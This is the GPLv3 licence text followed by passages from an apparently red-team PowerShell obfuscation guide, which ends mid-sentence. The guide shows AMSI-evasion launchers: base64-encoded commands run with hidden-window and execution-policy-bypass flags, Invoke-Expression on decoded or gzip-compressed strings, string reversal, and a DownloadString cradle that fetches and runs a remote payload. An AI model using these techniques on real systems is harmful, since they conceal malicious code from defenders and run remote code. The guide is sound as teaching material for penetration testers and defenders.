Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: launchers.md ================================================ # Obfuscation Launchers Despite the focus of this tool being built around avoiding encapsulation-based launchers for your obfuscation endeavors, there is still an opportunity here for a knowledge transfer on how to build these launchers. You can still achieve various levels of success with these approaches, so long as you introduce obfuscation on these layers and the intended payload. Keep in mind that if your launcher gets flagged, then your intended payload won't matter, so you need an adequate amount of effort on both fronts. There are many different techniques available, but these are just to get you an idea of some of the more common approaches. ### Launchers 1. Base64 Encoded Commands 2. Base64 Expressions 3. GZip Compression 4. Payload / String Reversing 5. Download String ## Base64 Encoded Commands PowerShell supports the ability to execute base64 encoded commands right from the command line with some extra goodies. It also allows you use partial parameter names so long as it's unambiguous, which is a common practice with this launcher. This is arguably the most popular approach and is also one of the easiest to discover when reviewing the logs. Here is a breakdown of these parameters and what they do: * -NoP - (-NoProfile) - Does not load the Windows PowerShell profile.) * -NonI - (-NonInteractive) - Does not present an interactive prompt to the user. * -W Hidden (-WindowStyle) - Sets the window style to Normal, Minimized, Maximized or Hidden. * -Exec Bypass (-ExecutionPolicy) - Sets the default execution policy for the current session and saves it in the $env:PSExecutionPolicyPreference environment variable. This parameter does not change the Windows PowerShell execution policy that is set in the registry. * -Enc (-EncodedCommand) - Accepts a base-64-encoded string version of a command. Use this parameter to submit commands to Windows PowerShell that require complex quotation marks or curly braces. https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/powershell ```powershell # Generator $command = 'Write-Output "Try Harder"' $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $base64 = [Convert]::ToBase64String($bytes) # Launcher powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc 'VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAFQAcgB5ACAASABhAHIAZABlAHIAIgAgAA==' ``` ## Base64 Expressions Where the previous scenario allows you to execute base64 encoded payloads from the command line, this approach allows you to execute base64 encoded strings within your script itself. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.1 ```powershell # Generator $command = 'Write-Output "Try Harder"' $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $base64 = [Convert]::ToBase64String($bytes) # Launcher Invoke-Expression ([System.Text.Encoding]::Unicode.GetString(([convert]::FromBase64String('VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAFQAcgB5ACAASABhAHIAZABlAHIAIgA= ')))) ``` ## Gzip Compression Compression can aid in both evading AMSI (sometimes) and makes it a little tricky to deconstruct. This will take a given payload and compress it into a gzip object then it'll get encoded so it can be stored within the payload. The sneakiness is that you will need to know how to properly decode it or else your payload will be look unintelligible. Keep in mind that not everyone is comfortable with PowerShell so it may not be that straight forward to extract the intended payload. https://docs.microsoft.com/en-us/dotnet/api/system.io.compression.gzipstream?view=net-5.0 ```powershell # Generator $command = 'Write-Output "Try Harder"' ## ByteArray $byteArray = [System.Text.Encoding]::ASCII.GetBytes($command) ## GzipStream [System.IO.Stream]$memoryStream = New-Object System.IO.MemoryStream [System.IO.Stream]$gzipStream = New-Object System.IO.Compression.GzipStream $memoryStream, ([System.IO.Compression.CompressionMode]::Compress) $gzipStream.Write($ByteArray, 0, $ByteArray.Length) $gzipStream.Close() $memoryStream.Close() [byte[]]$gzipStream = $memoryStream.ToArray() ## Stream Encoder $encodedGzipStream = [System.Convert]::ToBase64String($gzipStream) ## Decoder Encoder [System.String]$Decoder = '$decoded = [System.Convert]::FromBase64String("");$ms = (New-Object System.IO.MemoryStream($decoded,0,$decoded.Length));iex(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).readtoend()' [System.String]$Decoder = $Decoder -replace "", $encodedGzipStream # Launcher $decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAsvyixJ1fUvLSkoLVFQCimqVPBILEpJLVICAGWcSyMZAAAA") $ms = (New-Object System.IO.MemoryStream($decoded,0,$decoded.Length)) Invoke-Expression (New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd() ``` ## Payload / String Reversing You can reverse virtually anything that can be split into a character array and stored. You'll see this more often with base64 encoded strings, however, you can also store reversed commands within a payload as well. https://docs.microsoft.com/en-us/powershell/scripting/learn/deep-dives/everything-about-arrays?view=powershell-7.1 ```powershell # Generator $Command = 'Write-Output "Try Harder"'.ToCharArray() $Reversed = @() ($Command.length - 1)..0 | ForEach-Object { $Reversed += $Command[$_] } $Reversed = $Reversed -join '' # Launcher $Reversed = '"redraH yrT" tuptuO-etirW' $Normal = @() ($Reversed.length - 1)..0 | ForEach-Object { $Normal += $Reversed[$_] } $Normal = $Normal -join '' Invoke-Expression $($Normal -join '') ``` ## Download String This is an approach you can take when you are launching a payload that is hosted on a website, which helps keeps your payload off your targets disk. Depending on the web server, you may need to enable additional TLS protocols. This can be done by incorporating `[System.Net.ServicePointManager]` and `[System.Net.SecurityProtocolType]` as shown below prior to executing your `System.Net.WebClient` call. ```powershell # List configured protocols [Net.ServicePointManager]::SecurityProtocol # Enable TLSv1.2 [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 # Enable SSLv3.0 [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::ssl3 # Enable TLSv1.0, TLSv1.1 and TLSv1.2 [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12,[Net.SecurityProtocolType]::Tls11,[Net.SecurityProtocolType]::Tls # Launcher Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://127.0.0.1/payload.ps1') ``` ================================================ FILE: layer-0-obfuscation.md ================================================ # PowerShell Obfuscation As penetration testers, we use obfuscation in our payloads to bypass various security controls and to buy ourselves time in the event our payload is obtained by a blue team. PowerShell is no exception when it comes to obfuscation. While there exists many different strategies and techniques, some of the more common approaches encapsulate the entire payload within a layer. This inadvertently creates a chokepoint as it makes it easier to break down and tends to get you busted if the presented layer starts get you flagged before the intended payload executes. PowerShell obfuscation can sometimes be an intimidating topic and frustrating when the common tools start to bust you. What I am looking to do here is to open your eyes to a slightly different approach that could help inspire you to create your very own techniques. ## AMSI The Windows Antimalware Scan Interface (AMSI) is essentially an API that allows applications (such as anti-virus) to scan various types of content in memory before it's executed. Think of AMSI as an additional security check for your system. Keep in mind that AMSI is not limited to just anti-virus as it's also integrated into these components of Windows 10: * User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation) * PowerShell (scripts, interactive use, and dynamic code evaluation) * Windows Script Host (wscript.exe and cscript.exe) * JavaScript and VBScript * Office VBA macros The challenge that this will present to us is that if we use common payloads without making any modifications, or even obfuscation tools that are outdated, then it will more than likely get flagged. As we mentioned before, some of the more techniques include the use of layering logic to hide your payloads in plain sight. Here are some of those techniques to give you an idea on how they're generated and how the final launcher appears in your payloads. ### Base64 Encoded Commands PowerShell supports the ability to execute base64 encoded commands right from the command line with some extra goodies. It also allows you use partial parameter names so long as it's unambiguous, which is a common practice with this particular launcher. This is arguably the most popular approach and is also one of the easiest to discover when reviewing the logs. Here is a break down of these parameters and what they do: * -NoP - (-NoProfile) - Does not load the Windows PowerShell profile.) * -NonI - (-NonInteractive) - Does not present an interactive prompt to the user. * -W Hidden (-WindowStyle) - Sets the window style to Normal, Minimized, Maximized or Hidden. * -Exec Bypass (-ExecutionPolicy) - Sets the default execution policy for the current session and saves it in the $env:PSExecutionPolicyPreference environment variable. This parameter does not change the Windows PowerShell execution policy that is set in the registry. * -Enc (-EncodedCommand) - Accepts a base-64-encoded string version of a command. Use this parameter to submit commands to Windows PowerShell that require complex quotation marks or curly braces. https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/powershell ```powershell # Generator $command = 'Write-Output "Try Harder"' $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $base64 = [Convert]::ToBase64String($bytes) # Launcher powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc 'VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAFQAcgB5ACAASABhAHIAZABlAHIAIgAgAA==' ``` ### Base64 Expressions Where the previous scenario allows you to execute base64 encoded payloads from the command line, this method enables you to execute base64 encoded strings within your script itself. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.1 ```powershell # Generator $command = 'Write-Output "Try Harder"' $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $base64 = [Convert]::ToBase64String($bytes) # Launcher Invoke-Expression ([System.Text.Encoding]::Unicode.GetString(([convert]::FromBase64String('VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAFQAcgB5ACAASABhAHIAZABlAHIAIgA= ')))) ``` ### Compression Compression obfuscation can aid in both evading AMSI (sometimes) and makes it a little tricky to deconstruct. This will take a given payload and compress it into a gzip object then it'll get encoded so it can be stored within the payload. The sneakiness is that you will need to know how to properly decode it or else your payload will be look be unintelligible. Keep in mind that not everyone is comfortable with PowerShell so it may not be that straight forward to extract the intended payload. https://docs.microsoft.com/en-us/dotnet/api/system.io.compression.gzipstream?view=net-5.0 ```powershell # Generator $command = 'Write-Output "Try Harder"' ## ByteArray $byteArray = [System.Text.Encoding]::ASCII.GetBytes($command) ## GzipStream [System.IO.Stream]$memoryStream = New-Object System.IO.MemoryStream [System.IO.Stream]$gzipStream = New-Object System.IO.Compression.GzipStream $memoryStream, ([System.IO.Compression.CompressionMode]::Compress) $gzipStream.Write($ByteArray, 0, $ByteArray.Length) $gzipStream.Close() $memoryStream.Close() [byte[]]$gzipStream = $memoryStream.ToArray() ## Stream Encoder $encodedGzipStream = [System.Convert]::ToBase64String($gzipStream) ## Decoder Encoder [System.String]$Decoder = '$decoded = [System.Convert]::FromBase64String("");$ms = (New-Object System.IO.MemoryStream($decoded,0,$decoded.Length));iex(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).readtoend()' [System.String]$Decoder = $Decoder -replace "", $encodedGzipStream # Launcher $decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAsvyixJ1fUvLSkoLVFQCimqVPBILEpJLVICAGWcSyMZAAAA") $ms = (New-Object System.IO.MemoryStream($decoded,0,$decoded.Length)) Invoke-Expression (New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd() ``` ### Payload Reversing You are able to 